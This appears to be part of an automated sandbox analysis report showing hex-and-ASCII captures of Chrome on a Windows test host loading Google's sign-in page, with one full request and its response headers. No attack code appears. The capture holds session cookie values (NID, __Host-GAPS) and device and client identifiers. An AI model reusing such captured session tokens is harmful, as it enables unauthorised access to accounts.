22 3a 22 41 4b 4a 56 7a 63 70 38 6d 4e 61 70 42 52 65 69 67 41 51 41 Data Ascii: rSioxnoXNYaT4","rtQCxc":300,"tRszL":"%.@.null,null,null,null,[null,true]]","thykhd":"AFWLbD2-OMiIaUEiVFNqzlYP_B5XmZbHGczcu9gWHMkYxHuOZtSf-_T8zuiPWp8zHzafr-ZganYHQqc985Wf4J5hQBOoqk-kbzWbJfvXa7oPakb15lPMB8alengZCX8N","uQ9Oh":0,"unNRMb":"AKJVzcp8mNapBReigAQA
2024-01-17 23:35:04 UTC	272	IN	Data Raw: 70 72 74 22 29 3b 61 2e 70 72 74 3d 62 7d 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a 6c 28 27 43 71 50 74 63 62 27 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 7a 55 39 64 48 74 79 59 77 78 48 5f 79 4d 52 67 56 4e 73 44 4c 77 22 3e 76 61 72 20 5f 46 5f 63 73 73 52 6f 77 4b 65 79 20 3d 20 27 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e 41 63 63 6f 75 6e 74 73 53 69 67 6e 49 6e 55 69 2e 79 2d 43 6d 4d 5f 51 45 56 42 30 2e 4c 2e 42 31 2e 4f 27 3b 76 61 72 20 5f 46 5f 63 6f 6d 62 69 6e 65 64 53 69 67 6e 61 74 75 72 65 20 3d 20 27 41 4f 61 45 6d 6c 45 33 49 71 69 77 42 74 4b 77 34 76 39 6b 51 74 4c 62 5a 6d 4a 37 6f 4a 2d 4e 63 51 27 3b 66 75 6e 63 74 69 6f 6e 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 20 7b 74 68 72 Data Ascii: prt");a.prt=b}};}).call(this);l('CqPtcb')</script><script nonce="zU9dHtyYwxH_yMRgVNsDLw">var _F_cssRowKey = 'boq-identity.AccountsSignInUi.y-CmM_QEVB0.L.B1.O';var _F_combinedSignature = 'AOaEmlE3IqiwBtKw4v9kQtLbZmJ7oJ-NcQ';function _DumpException(e) {thr
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 3c 73 74 79 6c 65 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 5f 2f 6d 73 73 2f 62 6f 71 2d 69 64 65 6e 74 69 74 79 2f 5f 2f 73 73 2f 6b 3d 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e 41 63 63 6f 75 6e 74 73 53 69 67 6e 49 6e 55 69 2e 79 2d 43 6d 4d 5f 51 45 56 42 30 2e 4c 2e 42 31 2e 4f 2f 61 6d 3d 50 38 42 43 6b 68 77 4c 67 4d 44 4d 63 70 71 5f 5a 35 77 63 42 67 41 41 41 41 41 41 41 41 41 41 57 67 50 59 41 51 2f 64 3d 31 2f 65 64 3d 31 2f 72 73 3d 41 4f 61 45 6d 6c 48 6b 58 5f 54 4e 46 32 72 47 56 6d 74 55 36 31 79 7a 44 51 78 54 53 55 4c 6c 33 67 2f 6d 3d 69 64 65 6e 74 69 66 69 65 72 76 69 65 77 2c 5f 62 2c 5f 74 70 22 20 6e 6f 6e 63 65 3d 22 77 79 76 44 78 71 4e 6c 48 55 32 Data Ascii: 8000<style data-href="https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.y-CmM_QEVB0.L.B1.O/am=P8BCkhwLgMDMcpq_Z5wcBgAAAAAAAAAAWgPYAQ/d=1/ed=1/rs=AOaEmlHkX_TNF2rGVmtU61yzDQxTSULl3g/m=identifierview,_b,_tp" nonce="wyvDxqNlHU2
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 31 35 6d 73 20 6c 69 6e 65 61 72 2c 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 31 35 6d 73 20 6c 69 6e 65 61 72 3b 7a 2d 69 6e 64 65 78 3a 31 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 7a 2d 69 6e 64 65 78 2c 31 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 3a 61 66 74 65 72 7b 7a 2d 69 6e 64 65 78 3a 30 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c Data Ascii: rder-radius:50%;opacity:0;pointer-events:none;content:""}.VfPpkd-ksKsZd-XxIAqe::before{transition:opacity 15ms linear,background-color 15ms linear;z-index:1;z-index:var(--mdc-ripple-z-index,1)}.VfPpkd-ksKsZd-XxIAqe::after{z-index:0;z-index:var(--mdc-rippl
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 3a 3a 61 66 74 65 72 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f Data Ascii: e-is-unbounded],.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd{overflow:visible}.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded]::before,.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded]::after,.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd::before,.VfPpkd-ksKsZd-mWPk3d-O
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 68 6f 76 65 72 2d 6f 70 61 63 69 74 79 2c 30 2e 30 34 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 41 48 65 36 4b 63 2d 58 70 6e 44 43 65 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 6e 6f 74 28 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 29 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 37 35 6d 73 3b 6f 70 61 63 69 74 79 3a 2e 31 32 3b 6f 70 61 63 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 66 6f 63 75 73 2d 6f 70 61 63 69 74 79 2c 30 2e 31 Data Ascii: ity:var(--mdc-ripple-hover-opacity,0.04)}.VfPpkd-ksKsZd-XxIAqe.VfPpkd-ksKsZd-mWPk3d-OWXEXe-AHe6Kc-XpnDCe::before,.VfPpkd-ksKsZd-XxIAqe:not(.VfPpkd-ksKsZd-mWPk3d):focus::before{transition-duration:75ms;opacity:.12;opacity:var(--mdc-ripple-focus-opacity,0.1
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 3a 72 65 6c 61 74 69 76 65 3b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 6f 75 74 6c 69 6e 65 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 66 69 6c 6c 3a 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 63 6f 6c 6f 72 3a 69 6e 68 65 72 69 74 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 75 73 65 72 2d 73 65 6c 65 63 74 3a 6e 6f 6e 65 3b 7a 2d 69 6e 64 65 78 3a 30 3b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4c 67 62 73 53 65 20 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 52 4c 6d 6e 4a 62 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f Data Ascii: :relative;box-sizing:border-box;border:none;outline:none;background-color:transparent;fill:currentColor;color:inherit;text-decoration:none;cursor:pointer;user-select:none;z-index:0;overflow:visible}.VfPpkd-Bz112c-LgbsSe .VfPpkd-Bz112c-RLmnJb{position:abso
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 61 74 65 28 2d 35 30 25 2c 2d 35 30 25 29 3b 68 65 69 67 68 74 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 34 70 78 29 3b 77 69 64 74 68 3a 63 61 6c 63 28 31 30 30 25 20 2b 20 34 70 78 29 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 66 6f 72 63 65 64 2d 63 6f 6c 6f 72 73 3a 61 63 74 69 76 65 29 7b 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 4a 31 55 6b 66 63 2d 4c 68 42 44 65 63 3a 3a 61 66 74 65 72 7b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 43 61 6e 76 61 73 54 65 78 74 7d 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 7d 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 2e 56 66 50 70 6b 64 2d 42 7a 31 31 32 63 2d 6b 42 44 73 6f 64 2d 4f 57 58 45 58 Data Ascii: ate(-50%,-50%);height:calc(100% + 4px);width:calc(100% + 4px)}@media screen and (forced-colors:active){.VfPpkd-Bz112c-J1Ukfc-LhBDec::after{border-color:CanvasText}}.VfPpkd-Bz112c-kBDsod{display:inline-block}.VfPpkd-Bz112c-kBDsod.VfPpkd-Bz112c-kBDsod-OWXEX

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.6	49921	142.251.163.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:04 UTC	2303	OUT	GET /v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp2gStXVrlBaQMjEgnAGuNCSSHQe1IaseXO0u3ysS0pvSXZ4fQfiD0S-4xguuLCPZm_FnOKq&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-787607905%3A1705534499113821&theme=glif HTTP/1.1 Host: accounts.google.com Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-arch: "x86" sec-ch-ua-platform: "Windows" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-model: "" sec-ch-ua-bitness: "64" sec-ch-ua-wow64: ?0 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://accounts.google.com/v3/signin/identifier?continue=https%3A%2F%2Fwww.youtube.com%2Fsignin%3Faction_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3D%252Fsignin_passive%26feature%3Dpassive&hl=en&ifkv=ASKXGp2gStXVrlBaQMjEgnAGuNCSSHQe1IaseXO0u3ysS0pvSXZ4fQfiD0S-4xguuLCPZm_FnOKq&passive=true&service=youtube&uilel=3&flowName=GlifWebSignIn&flowEntry=ServiceLogin&dsh=S-787607905%3A1705534499113821&theme=glif Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg
2024-01-17 23:35:04 UTC	2230	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 X-Frame-Options: DENY Set-Cookie: __Host-GAPS=1:jrZZFA4F9tuKHaHq0g6wQJT0m6-4YA:bddnEqnJGtHcqORM; Expires=Fri, 16-Jan-2026 23:35:04 GMT; Path=/; Secure; HttpOnly; Priority=HIGH x-auto-login: realm=com.google&args=service%3Dyoutube%26continue%3Dhttps://www.youtube.com/signin?action_handle_signin%253Dtrue%2526app%253Ddesktop%2526hl%253Den%2526next%253D%25252Fsignin_passive%2526feature%253Dpassive x-ua-compatible: IE=edge Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:04 GMT Strict-Transport-Security: max-age=31536000; includeSubDomains Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factor=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /v3/signin/_/AccountsSignInUi/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-uA1hMCJypxeUB7-EnGZ9Dw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /v3/signin/_/AccountsSignInUi/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /v3/signin/_/AccountsSignInUi/cspreport/allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factor, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Report-To: {"group":"AccountsSignInUi","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/AccountsSignInUi"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="AccountsSignInUi" Cross-Origin-Resource-Policy: same-site Server: ESF X-XSS-Protection: 0 X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site,Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-01-17 23:35:04 UTC	2230	IN	Data Raw: 31 62 32 39 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 22 6c 74 72 22 3e 3c 68 65 61 64 3e 3c 62 61 73 65 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 61 63 63 6f 75 6e 74 73 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 76 33 2f 73 69 67 6e 69 6e 2f 22 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 65 66 65 72 72 65 72 22 20 63 6f 6e 74 65 6e 74 3d 22 6f 72 69 67 69 6e 22 3e 3c 73 63 72 69 70 74 20 64 61 74 61 2d 69 64 3d 22 5f 67 64 22 20 6e 6f 6e 63 65 3d 22 75 41 31 68 4d 43 4a 79 70 78 65 55 42 37 2d 45 6e 47 5a 39 44 77 22 3e 77 69 6e 64 6f 77 2e 57 49 5a 5f 67 6c 6f 62 61 6c 5f 64 61 74 61 20 3d 20 7b 22 44 6e 64 4c 59 62 22 3a 22 22 2c 22 44 70 69 6d 47 66 22 3a 66 61 6c 73 65 2c 22 45 50 31 79 Data Ascii: 1b29<!doctype html><html lang="en" dir="ltr"><head><base href="https://accounts.google.com/v3/signin/"><meta name="referrer" content="origin"><script data-id="_gd" nonce="uA1hMCJypxeUB7-EnGZ9Dw">window.WIZ_global_data = {"DndLYb":"","DpimGf":false,"EP1y
2024-01-17 23:35:04 UTC	2230	IN	Data Raw: 5f 73 5c 22 2c 5c 22 63 5f 70 73 5f 74 5c 22 2c 5c 22 63 5f 73 74 66 73 5c 22 2c 5c 22 63 5f 73 74 66 77 74 5c 22 2c 5c 22 63 5f 73 74 73 5f 62 5c 22 2c 5c 22 63 5f 73 74 73 5f 74 5c 22 2c 5c 22 63 5f 74 66 73 5c 22 2c 5c 22 63 5f 74 66 77 74 5c 22 2c 5c 22 63 5f 74 73 5f 62 5c 22 2c 5c 22 63 5f 74 73 5f 74 5c 22 2c 5c 22 63 62 66 6c 6f 77 5c 22 2c 5c 22 63 64 5c 22 2c 5c 22 63 68 65 63 6b 43 6f 6e 6e 65 63 74 69 6f 6e 5c 22 2c 5c 22 63 68 65 63 6b 65 64 44 6f 6d 61 69 6e 73 5c 22 2c 5c 22 63 6c 69 65 6e 74 5f 69 64 5c 22 2c 5c 22 63 6f 6c 6f 72 5f 73 63 68 65 6d 65 5c 22 2c 5c 22 63 6f 6e 74 69 6e 75 65 5c 22 2c 5c 22 63 70 62 70 73 5c 22 2c 5c 22 64 6f 6d 61 69 6e 73 5c 22 2c 5c 22 64 73 68 5c 22 2c 5c 22 65 63 5c 22 2c 5c 22 65 6d 72 5c 22 2c 5c 22 66 Data Ascii: _s\",\"c_ps_t\",\"c_stfs\",\"c_stfwt\",\"c_sts_b\",\"c_sts_t\",\"c_tfs\",\"c_tfwt\",\"c_ts_b\",\"c_ts_t\",\"cbflow\",\"cd\",\"checkConnection\",\"checkedDomains\",\"client_id\",\"color_scheme\",\"continue\",\"cpbps\",\"domains\",\"dsh\",\"ec\",\"emr\",\"f
2024-01-17 23:35:04 UTC	2230	IN	Data Raw: 53 69 6f 78 6e 6f 58 4e 59 61 54 34 22 2c 22 72 74 51 43 78 63 22 3a 33 30 30 2c 22 74 52 73 7a 4c 22 3a 22 25 2e 40 2e 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 74 72 75 65 5d 5d 22 2c 22 74 68 79 6b 68 64 22 3a 22 41 46 57 4c 62 44 33 39 53 63 75 59 64 67 53 65 37 50 50 32 4d 72 72 54 6f 4d 49 33 6e 34 32 37 49 37 43 53 4a 4b 38 75 42 45 67 4e 58 67 6f 67 75 77 31 64 4a 51 4a 6a 6c 30 67 6d 67 64 45 6c 46 73 63 41 62 39 69 47 72 76 70 31 63 48 31 4f 63 77 2d 44 63 74 61 76 47 62 34 59 41 7a 32 48 4e 6d 72 2d 53 6d 4c 76 6a 35 36 4e 43 39 50 6f 7a 49 41 63 6f 57 6a 4e 4e 63 50 63 4a 48 6f 39 22 2c 22 75 51 39 4f 68 22 3a 30 2c 22 75 6e 4e 52 4d 62 22 3a 22 41 4b 4a 56 7a 63 71 68 4b 76 34 69 69 41 30 74 65 66 7a 73 43 Data Ascii: SioxnoXNYaT4","rtQCxc":300,"tRszL":"%.@.null,null,null,null,[null,true]]","thykhd":"AFWLbD39ScuYdgSe7PP2MrrToMI3n427I7CSJK8uBEgNXgoguw1dJQJjl0gmgdElFscAb9iGrvp1cH1Ocw-DctavGb4YAz2HNmr-SmLvj56NC9PozIAcoWjNNcPcJHo9","uQ9Oh":0,"unNRMb":"AKJVzcqhKv4iiA0tefzsC
2024-01-17 23:35:04 UTC	271	IN	Data Raw: 72 74 22 29 3b 61 2e 70 72 74 3d 62 7d 7d 3b 7d 29 2e 63 61 6c 6c 28 74 68 69 73 29 3b 0a 6c 28 27 43 71 50 74 63 62 27 29 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 6e 6f 6e 63 65 3d 22 75 41 31 68 4d 43 4a 79 70 78 65 55 42 37 2d 45 6e 47 5a 39 44 77 22 3e 76 61 72 20 5f 46 5f 63 73 73 52 6f 77 4b 65 79 20 3d 20 27 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e 41 63 63 6f 75 6e 74 73 53 69 67 6e 49 6e 55 69 2e 79 2d 43 6d 4d 5f 51 45 56 42 30 2e 4c 2e 42 31 2e 4f 27 3b 76 61 72 20 5f 46 5f 63 6f 6d 62 69 6e 65 64 53 69 67 6e 61 74 75 72 65 20 3d 20 27 41 4f 61 45 6d 6c 45 33 49 71 69 77 42 74 4b 77 34 76 39 6b 51 74 4c 62 5a 6d 4a 37 6f 4a 2d 4e 63 51 27 3b 66 75 6e 63 74 69 6f 6e 20 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 20 7b 74 68 72 6f Data Ascii: rt");a.prt=b}};}).call(this);l('CqPtcb')</script><script nonce="uA1hMCJypxeUB7-EnGZ9Dw">var _F_cssRowKey = 'boq-identity.AccountsSignInUi.y-CmM_QEVB0.L.B1.O';var _F_combinedSignature = 'AOaEmlE3IqiwBtKw4v9kQtLbZmJ7oJ-NcQ';function _DumpException(e) {thro
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 38 30 30 30 0d 0a 3c 73 74 79 6c 65 20 64 61 74 61 2d 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 73 74 61 74 69 63 2e 63 6f 6d 2f 5f 2f 6d 73 73 2f 62 6f 71 2d 69 64 65 6e 74 69 74 79 2f 5f 2f 73 73 2f 6b 3d 62 6f 71 2d 69 64 65 6e 74 69 74 79 2e 41 63 63 6f 75 6e 74 73 53 69 67 6e 49 6e 55 69 2e 79 2d 43 6d 4d 5f 51 45 56 42 30 2e 4c 2e 42 31 2e 4f 2f 61 6d 3d 50 38 42 43 6b 68 77 4c 67 4d 44 4d 63 70 71 5f 5a 35 77 63 42 67 41 41 41 41 41 41 41 41 41 41 57 67 50 59 41 51 2f 64 3d 31 2f 65 64 3d 31 2f 72 73 3d 41 4f 61 45 6d 6c 48 6b 58 5f 54 4e 46 32 72 47 56 6d 74 55 36 31 79 7a 44 51 78 54 53 55 4c 6c 33 67 2f 6d 3d 69 64 65 6e 74 69 66 69 65 72 76 69 65 77 2c 5f 62 2c 5f 74 70 22 20 6e 6f 6e 63 65 3d 22 54 33 42 52 79 39 61 43 44 73 38 Data Ascii: 8000<style data-href="https://www.gstatic.com/_/mss/boq-identity/_/ss/k=boq-identity.AccountsSignInUi.y-CmM_QEVB0.L.B1.O/am=P8BCkhwLgMDMcpq_Z5wcBgAAAAAAAAAAWgPYAQ/d=1/ed=1/rs=AOaEmlHkX_TNF2rGVmtU61yzDQxTSULl3g/m=identifierview,_b,_tp" nonce="T3BRy9aCDs8
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 72 64 65 72 2d 72 61 64 69 75 73 3a 35 30 25 3b 6f 70 61 63 69 74 79 3a 30 3b 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 6e 6f 6e 65 3b 63 6f 6e 74 65 6e 74 3a 22 22 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 3a 6f 70 61 63 69 74 79 20 31 35 6d 73 20 6c 69 6e 65 61 72 2c 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 20 31 35 6d 73 20 6c 69 6e 65 61 72 3b 7a 2d 69 6e 64 65 78 3a 31 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 7a 2d 69 6e 64 65 78 2c 31 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 3a 61 66 74 65 72 7b 7a 2d 69 6e 64 65 78 3a 30 3b 7a 2d 69 6e 64 65 78 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c Data Ascii: rder-radius:50%;opacity:0;pointer-events:none;content:""}.VfPpkd-ksKsZd-XxIAqe::before{transition:opacity 15ms linear,background-color 15ms linear;z-index:1;z-index:var(--mdc-ripple-z-index,1)}.VfPpkd-ksKsZd-XxIAqe::after{z-index:0;z-index:var(--mdc-rippl
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 7b 6f 76 65 72 66 6c 6f 77 3a 76 69 73 69 62 6c 65 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 5b 64 61 74 61 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 69 73 2d 75 6e 62 6f 75 6e 64 65 64 5d 3a 3a 61 66 74 65 72 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 5a 4e 4d 54 71 64 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f Data Ascii: e-is-unbounded],.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd{overflow:visible}.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded]::before,.VfPpkd-ksKsZd-XxIAqe[data-mdc-ripple-is-unbounded]::after,.VfPpkd-ksKsZd-mWPk3d-OWXEXe-ZNMTqd::before,.VfPpkd-ksKsZd-mWPk3d-O
2024-01-17 23:35:04 UTC	1252	IN	Data Raw: 69 74 79 3a 76 61 72 28 2d 2d 6d 64 63 2d 72 69 70 70 6c 65 2d 68 6f 76 65 72 2d 6f 70 61 63 69 74 79 2c 30 2e 30 34 29 7d 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 2d 4f 57 58 45 58 65 2d 41 48 65 36 4b 63 2d 58 70 6e 44 43 65 3a 3a 62 65 66 6f 72 65 2c 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 58 78 49 41 71 65 3a 6e 6f 74 28 2e 56 66 50 70 6b 64 2d 6b 73 4b 73 5a 64 2d 6d 57 50 6b 33 64 29 3a 66 6f 63 75 73 3a 3a 62 65 66 6f 72 65 7b 74 72 61 6e 73 69 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 37 35 6d 73 3b 6f 70 61 63 69 74 79 3a 2e 31 32 3b 6f 70 61 63 69 